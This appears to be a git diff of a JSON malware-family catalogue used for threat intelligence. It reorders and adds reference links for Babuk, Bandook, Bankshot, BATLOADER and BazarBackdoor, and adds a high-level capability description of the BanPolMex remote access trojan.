"https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", - "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", - "https://twitter.com/Sebdraven/status/1346377590525845504", - "https://therecord.media/builder-for-babuk-locker-ransomware-leaked-online/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.zerofox.com/blog/babuk-ransomware-variant-delta-plus/", - "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.bleepingcomputer.com/news/security/leaked-babuk-locker-ransomware-builder-used-in-new-attacks/", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/IOCs-blog-Ransomware%20Actor%20Abuses%20Genshin%20Impact%20Anti-Cheat%20Driver%20to%20Kill%20Antivirus.txt", - "https://twitter.com/GossiTheDog/status/1409117153182224386", - "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", - "https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://ke-la.com/new-russian-speaking-forum-a-new-place-for-raas/", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://blog.morphisec.com/babuk-ransomware-variant-major-attack", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", - "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", - "https://securelist.com/ransomware-world-in-2021/102169/", - "https://krebsonsecurity.com/2022/02/wazawaka-goes-waka-waka/", - "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", - "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/is-there-really-such-a-thing-as-a-low-paid-ransomware-operator/", - "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/main/Ransomware/Babuk/Babuk_Ransomware_EN_2021_05.pdf", - "http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/", - "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-moving-to-vm-nix-systems.pdf", - "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", - "https://www.fr.sogeti.com/globalassets/france/avis-dexperts--livres-blancs/cybersecchronicles_-_babuk.pdf", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/is-there-really-such-a-thing-as-a-low-paid-ransomware-operator/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/", + "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", + "https://blog.morphisec.com/babuk-ransomware-variant-major-attack", + "https://github.com/EmissarySpider/ransomware-descendants", + "https://www.zerofox.com/blog/babuk-ransomware-variant-delta-plus/", + "https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/main/Ransomware/Babuk/Babuk_Ransomware_EN_2021_05.pdf", + "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", + "https://mssplab.github.io/threat-hunting/2023/06/15/malware-analysis-babuk.html", + "https://lab52.io/blog/quick-review-of-babuk-ransomware-builder/", + "https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/", + "https://www.bleepingcomputer.com/news/security/babuk-ransomware-is-back-uses-new-version-on-corporate-networks/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", + "https://twitter.com/Sebdraven/status/1346377590525845504", + "https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/", + "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", + "https://securelist.com/ransomware-world-in-2021/102169/", + "https://sekurak.pl/udalo-nam-sie-zrealizowac-wywiad-z-grupa-ransomware-babuk-ktora-zaszyfrowala-policje-metropolitarna-w-waszyngtonie/", + "https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html", + "https://twitter.com/GossiTheDog/status/1409117153182224386", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/IOCs-blog-Ransomware%20Actor%20Abuses%20Genshin%20Impact%20Anti-Cheat%20Driver%20to%20Kill%20Antivirus.txt", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", + "https://ke-la.com/new-russian-speaking-forum-a-new-place-for-raas/", + "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://krebsonsecurity.com/2022/02/wazawaka-goes-waka-waka/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.bleepingcomputer.com/news/security/babyk-ransomware-wont-hit-charities-unless-they-support-lgbt-blm/", - "https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/" + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/", + "https://therecord.media/builder-for-babuk-locker-ransomware-leaked-online/", + "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", + "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", + "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", + "https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/", + "https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62", + "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.bleepingcomputer.com/news/security/leaked-babuk-locker-ransomware-builder-used-in-new-attacks/", + "https://www.fr.sogeti.com/globalassets/france/avis-dexperts--livres-blancs/cybersecchronicles_-_babuk.pdf", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf" ], "synonyms": [ "Babyk", @@ -14236,11 +14892,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal", - 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Written in both Delphi and C++, it was first seen as a commercial RAT developed by a Lebanese creator named PrinceAli. Over the years, several variants of Bandook were leaked online, and the malware became available for public download.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook", - "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook", - "https://www.welivesecurity.com/2021/07/07/bandidos-at-large-spying-campaign-latin-america/", - "https://research.checkpoint.com/2020/bandook-signed-delivered/", - "https://research.checkpoint.com/2020/bandook-signed-delivered", - "https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot", - "https://www.eff.org/deeplinks/2023/02/uncle-sow-dark-caracal-latin-america", "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", - "https://twitter.com/malwrhunterteam/status/796425285197561856", - "https://www.eff.org/files/2018/01/29/operation-manul.pdf" + "https://www.eff.org/deeplinks/2023/02/uncle-sow-dark-caracal-latin-america", + "https://www.eff.org/files/2018/01/29/operation-manul.pdf", + "https://www.welivesecurity.com/2021/07/07/bandidos-at-large-spying-campaign-latin-america/", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook", + "https://research.checkpoint.com/2020/bandook-signed-delivered", + "https://research.checkpoint.com/2020/bandook-signed-delivered/", + "https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot", + "https://twitter.com/malwrhunterteam/status/796425285197561856" ], "synonyms": [ "Bandok" @@ -14625,10 +15300,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori", - "https://www.johannesbader.ch/2015/02/the-dga-of-banjori/", "http://blog.kleissner.org/?p=192", "http://blog.kleissner.org/?p=69", - "http://osint.bambenekconsulting.com/feeds/" + "http://osint.bambenekconsulting.com/feeds/", + "https://www.johannesbader.ch/2015/02/the-dga-of-banjori/" ], "synonyms": [ "BackPatcher", @@ -14645,17 +15320,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot", - "https://malverse.it/analisi-bankshot-copperhedge", - "https://blog.reversinglabs.com/blog/hidden-cobra", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-133a", - "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-108a", "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-133a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "https://blog.reversinglabs.com/blog/hidden-cobra", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" + "https://malverse.it/analisi-bankshot-copperhedge", + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-108a", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://vblocalhost.com/uploads/VB2021-Park.pdf", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/" ], "synonyms": [ "COPPERHEDGE" @@ -14665,6 +15342,20 @@ "uuid": "bc67677c-c0e7-4fb1-8619-7f43fa3ff886", "value": "Bankshot" }, + { + "description": "BanPolMex is a remote access trojan that uses TCP for communication.\r\n\r\nIt uses an RC4-like stream cipher called Spritz for encryption of its configuration and network traffic.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, free space of memory and all drives, processor identifier and architecture, system locale, system metrics, manufacturer, and network configuration.\r\n\r\nIt supports almost 30 commands that include operations on the victim\u2019s filesystem, basic process management, file exfiltration, and the download and execution of additional tools from the attacker\u2019s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. However, in this case the indicis are convertible into a meaningful ASCII representation, that even suggests the functionality: SLEP, HIBN, DRIV, DIR, DIRP, CHDR, RUN, RUNX, DEL, WIPE, MOVE, FTIM, NEWF, DOWN, ZDWN, UPLD, PVEW, PKIL, CMDL, DIE, GCFG, SCFG, TCON, PEEX, PEIN.\r\n\r\nIt has aclui.dll as the internal DLL name. It contains statically linked code from open-source libraries like libcurl (version 7.47.1) or zLib (version 0.15).\r\n\r\nBanPolMex RAT was delivered for victims of a watering hole campaign targeting employees of Polish and Mexican banks, that was discovered in February 2017. It is usually loaded by HOTWAX.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf", + "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "95d699dc-d19e-47a7-9d38-fef5008ce891", + "value": "BanPolMex RAT" + }, { "description": "", "meta": { @@ -14709,8 +15400,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" ], @@ -14748,19 +15439,22 @@ "value": "Batel" }, { - "description": "", + "description": "According to PCrisk, BATLOADER is part of the infection chain where it is used to perform the initial compromise. This malware is used to execute payloads like Ursnif. Our team has discovered BATLOADER after executing installers for legitimate software (such as Zoom, TeamViewer Visual Studio) bundled with this malware. We have found those installers on compromised websites.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bat_loader", - "https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle", - "https://medium.com/walmartglobaltech/revisiting-batloader-c2-structure-52f46ff9893a", - "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", "https://www.trendmicro.com/en_us/research/23/a/batloader-malware-abuses-legitimate-tools-uses-obfuscated-javasc.html", - "https://www.mandiant.com/resources/seo-poisoning-batloader-atera", - "https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery", - "https://intel471.com/blog/malvertising-surges-to-distribute-malware", + "https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle", "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", - "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html" + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader", + "https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery", + "https://www.trendmicro.com/en_us/research/23/h/batloader-campaigns-use-pyarmor-pro-for-evasion.html", + "https://www.esentire.com/blog/batloader-continues-signed-msix-app-package-abuse", + "https://medium.com/walmartglobaltech/revisiting-batloader-c2-structure-52f46ff9893a", + "https://intel471.com/blog/malvertising-surges-to-distribute-malware", + "https://www.mandiant.com/resources/seo-poisoning-batloader-atera" ], "synonyms": [], "type": [] @@ -14773,134 +15467,135 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://isc.sans.edu/diary/27308", - "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", - "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", - "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", - "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", - "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", - "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://www.hhs.gov/sites/default/files/bazarloader.pdf", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/", - "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", - "https://www.scythe.io/library/threatthursday-ryuk", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", "https://experience.mandiant.com/trending-evil/p/1", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://abnormalsecurity.com/blog/bazarloader-contact-form", - "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", - "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9", - "https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://thedfirreport.com/2020/10/08/ryuks-return/", - "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I", + "https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/", + "https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://fr3d.hk/blog/campo-loader-simple-but-effective", + "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://malwarebookreports.com/a-look-back-at-bazarloaders-dga/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", + "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", + "https://forensicitguy.github.io/bazariso-analysis-advpack/", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", + "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9", + "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://unit42.paloaltonetworks.com/bazarloader-malware/", - "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", - "https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", - "https://www.youtube.com/watch?v=pIXl79IPkLI", - "https://www.trellix.com/en-us/about/newsroom/stories/research/evolution-of-bazarcall-social-engineering-tactics.html", - "https://twitter.com/anthomsec/status/1321865315513520128", - "https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", - "https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/", - "https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/", - "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", - "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", - "https://www.youtube.com/watch?v=uAkeXCYcl4Y", - "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/", - "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day", + "https://isc.sans.edu/diary/27308", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", + "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", "https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://intel471.com/blog/conti-leaks-ransomware-development", - "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", - "https://johannesbader.ch/blog/yet-another-bazarloader-dga/", - "https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf", - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://www.youtube.com/watch?v=pIXl79IPkLI", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://www.scythe.io/library/threatthursday-ryuk", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", - 